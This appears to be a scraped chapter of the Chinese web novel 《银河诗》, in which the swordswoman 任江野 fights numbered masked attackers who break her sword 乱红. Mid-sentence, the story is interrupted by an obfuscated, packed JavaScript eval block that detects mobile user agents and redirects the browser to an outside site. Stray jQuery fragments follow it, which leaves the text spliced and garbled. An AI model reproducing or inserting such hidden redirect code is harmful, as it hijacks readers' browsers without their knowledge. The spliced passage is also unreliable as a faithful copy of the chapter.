14. 第14章

作品:《银河诗

    任江野脚下的土地仅仅是裂开,外围一圈却被炸出了深深的沟壑,沟壑下不知是地下水还是水管破裂,源源不断地往外大口大口涌着,很快就将沟壑填满,沟壑外面三个全身包裹在黑衣里,脸上带着相同金属面具的人,均匀分立三个点位,合围住任江野。


    “13,动手。”蒙面女说到。


    手持大锤的男人立刻原地起跳,抡起锤子从上往下朝着任江野的头部砸去。


    任江野立即拔剑出鞘,乱红轻松抵挡住大锤的重击,13号的攻击不止于力量,一股开闸似的水流从锤子里淌出来,遇到乱红的剑刃,被剑气隔绝开,喷泉一样包裹住任江野,水淌到地上,却没有流进旁边的沟壑。


    她的手腕用力,剑意注入乱红,反手一挥,长剑顶开了大锤,下一剑立即攻向13号的腰腹,13号双手握住巨锤去抵挡,嘭的一下,超过两米高的壮汉被一剑击飞,撞进工厂的金属大门里,顺着身后水流的缓冲,他伏跪在地上猛烈地咳嗽,行云工厂大门上撞进去一块人形的银色凹陷。


    没有人有功夫关心13号有没有受伤,方才说话的蒙面女人趁着任江野回击13号时,原地蹲下,双掌紧贴大地,一股凛冽寒意从她的手下开始蔓延,接触到沟壑内部的水,寒意激增。


    无法看清的上百根冰柱从任江野四面八方刺上来,分别卡住任江野双腿,前后的冰柱以互相交叉叠加的形态,扼住任江野的脖子,右侧的冰柱尤其多,集中在任江野伸直的右手臂与手腕处,牢牢把控住她持剑的手,冰柱困住了任江野。


    即便如此,冰柱还是没办法真正触碰到任江野,任江野的身边始终有一层无形的防御,这层防御以千百倍的力量在向外对抗,蒙面女按在地面的双手微微颤抖,她快维持不住冰阵了。


    就在这时,任江野脚下那一滩由13号手里锤子留下的水,忽然起了丝毫波纹。


    任江野感到空气里有异常的波动,但她的眼睛却看不到任何人在眼前,危机的直觉让她集中体内大部分力量与剑意,迅速破开控制左手的冰柱,手肘内转,击碎数根拦路的冰柱,左手紧握剑鞘一下挡在自己的喉咙上,拦住了一柄无形的匕首,飓风从剑鞘至下打出,任江野感知到一个透明的人从地上镜面里钻出了大半个身体,正双手用力上刺她的咽喉。


    这人的匕首竟然可以轻易穿透风层防御,瞬间给剑鞘留下一道激光刻痕。


    任江野手掌下压剑鞘,隔着它侧推了一把匕首,失去着力点的匕首一下错开任江野的下巴,贴着她的脸颊向上滑过。乱红剑鞘在任江野手中翻转,由横转竖直,剑鞘尖端捅进透明人的脑子,果然透明人并不是真人,是由光线组合的投影,它不会受到任何真实伤害,它凝练杀意的匕首回转切割向任讲野江的右脸。


    但任江野的剑鞘进攻方向本身也不是透明人,而是地面那滩没有冰冻住的水。


    乱红的剑鞘打在水面,柔和的水像镜子一样裂开,疾风从中心绽放,地面再无水的影子,操控匕首的透明人顷刻消散。


    击中地面的剑鞘飞回任江野的左手,连续在她手中旋转了五圈,所有的冰柱撑不住疾风的频繁共振,布满了密密麻麻的裂纹,任江野全身一动,百余根冰柱变成了一颗颗碎玻璃,蓝蓝地洒满一地。


    蒙面女被瞬爆的反冲击力震得整个人一下仰倒过去。


    一开始摔在门上的13号壮汉,迅速爬起来朝着她边跑边大喊:“14!”


    他的声音传进14的耳朵里,微微唤回了她片刻清明,14号撑着手臂坐直了,她感觉到自己的内脏全部移位,搅合在一起,一口闷血呛到喉咙,但被她硬生生憋了回去,眼前的重影缓缓合在一起。


    “14!快跑!”壮汉来不及赶过来,他用尽全力丢出手中的重锤。


    重锤在空中转了数圈,打在了刺向14号的乱红剑刃上,但乱红可不是别的剑,就算偏移了,早已打出的剑气还是击中蒙面女的脸,她脸上的金属面具碎裂掉落在自己的腿上,一条伤口从她的鼻梁划至下颌,白骨露出,皮肉外绽,鲜血灌进她的鼻腔和口腔,她的喉咙止不住地发出咕噜咕噜的声音。


    破开蒙面女的面具,面具下尤其年轻的脸,让任江野怔愣了一瞬,这在生死交战时,是极为危险的走神。


    果不其然,14号抓住任江野晃神的空档,以自己的血液为媒介,鲜红的冰棱突起,最尖锐的的一根眨眼就到了任江野眼珠子之前。任江野往后一仰,乱红向上切割,斩断了它。


    14号连续后撤几步,壮汉结实的身躯在她身后一把将她接住,焦急地望着她:“怎么样,还能坚持吗?”


    14号抬了一下手,她不能说话,只要张嘴,一定会有一大口鲜血要喷出来,她脸上的伤口虽然已经不再流血,却也没有愈合,她对自己使用了冰冻,整条剑口的表面像长满了红色的矿洞水晶,凸起的微缩晶体为被切割开的皮肉做了维系的拉链。她在任江野的视野盲区给13号比了一个数字‘6’。


    壮汉握住她满是血液的手掌,轻点了两下。


    两下代表继续进攻。


    13号一招手,落地的重锤回到他的手心。他举起锤子,用力地敲击地面,铛铛两下,地面裂开缝隙,源源不断的水喷涌而出,他大喝一声:“合!”


    地下水向着任江野汇聚,形成一个掏空的球体,厚厚的一层水膜将任江野团团围住,14号紧随其后出手,在水膜的内外两侧同时凝结出两层冰,外面一层厚实的,里面一层薄利的,两层冰的中间夹着一层压缩到极致的水,只要任江野从内部进攻,里面的冰层会瞬间被水压冲破内刺向她。


    并非没有破解之法,只要任江野的出剑足够快足够多,剑气同时破开三层,受伤的就会变成站在水球外的13和14号。


    这不是他们的目的。


    一阵炫光闪过,一直在附近未现身的10号站在两人旁边,张开双手,夕阳的余晖染红了冰球,他细长的手指轻微拨弄,覆盖在冰球上的光不再均匀,在冰层里疏密有致地绷紧成丝,手绘的经纬线一般裹住了冰球。


    任江野在球的内部,使用多快多锋利的剑,短时间内也难以突破这四层牢笼,她的剑气达到最外层的光线网,会扩大外围网格,网格带领着冰层膨胀,使其不至于直接破裂,然后冰层收回来,给内部施加更大的压力,冰球也跟着缩小,任江野


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987429|192804||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一直攻击,且没有破开它们的话,冰球最后会缩成拳头大小,将人挤压致死。


    “就算杀不死她,困个一时半会儿总可以吧。”10号显出真身,瘦小的男人放下双手走到两人旁边。


    壮汉扶着怀中的女人,有些急躁地说:“1号和2号到底过不过来?”


    “1号不好说。”透明人10号说到,“但是你别指望2号会来,开会的时候他就大吵大闹,估计这会儿被会长关到哪里去了。”


    “2号不来,14的伤怎么办?才一个照面就受这么严重的伤,剑气一直在伤口里,伤口根本没办法愈合。”13号将戴在自己脸上的面具摘下来,金属面具盖在了14的脸上,面具自动一键调整大小,为14号受伤的脸装了一层聊胜于无的铠甲。


    10号看了看14,又看了看13,摇摇头,“按照原计划先等6号得手。”


    外面吵得热火朝天,任江野一概不知。她被装进水球之后,没有试图攻击破局,她在看乱红。


    乱红很不对劲。


    她仔仔细细将乱红拿在手中,从头看到尾,外表同以往没有丝毫异样,可任江野就是觉得不对劲,像由什么杂质融进了剑里。


    任江野闭上眼睛,一股醇厚的疾风剑意自她手腕汇入乱红,剑意自剑柄开始搜寻内部的异样,不过片刻,她便找到了异物,那是几颗在剑内游走的金属粒,金属粒很狡猾,驱逐不出去,它还在缓慢地汲取乱红的力量,以此在内部繁衍出更多的金属粒。


    什么时候沾染上的,任江野略一想便有了答案,大概是一开始爆炸时那些粉碎的子弹粉尘。


    包括后面所有的攻击,全部都是障眼法,为了掩盖有人要对她的佩剑下手。


    任江野张开眼,紧紧盯住乱红说:“滚出我的剑。”


    藏在附近一栋高楼楼顶的6号在队内语音里说到:“啊哦,被发现了。”


    “你到底能不能有一点儿用,帮你打了这么多掩护,还能被发现!”10号嘴上责怪6号,手上一点没闲着,立即操控网格,开始压缩冰球。


    空心冰球震动起来,任江野察觉到乱红体内的金属粒又一次增加了,还挑衅似地在里面乱窜了好几圈。


    冰球持续压缩,最内层地薄脆壳率先开裂,很快抵不住水层给予的压力,全方位碎裂扎向任江野,任江野没有动用乱红,甚至没有去看向她袭来的碎冰,左手剑鞘凭感知扫去,挡住了百分之八十的冰,还有百分之十也根本破不开她的体表防御层,她的注意力一直在乱红身上。


    她再度注入剑意,剑意进入后化作一只小人,尝试驱赶金属粒,金属粒居然首尾相连,排成一列,横亘在乱红剑身的中央,像用记号笔标记了一条线。


    “可以了,打开冰球。”6号在远处指挥到。


    10号立刻释放冰球,水流和冰碴儿乱七八糟地淌了一地。


    任江野刚从冰球里出来,远处立即又有一枚更尖、更长的子弹射击过来,铛地隔空撞在乱红之上,即便没有出碰到彼此,强烈的共振自那道被标记的金属线上传到子弹上。


    咔嚓——


    天下第一剑,乱红,断成了两截。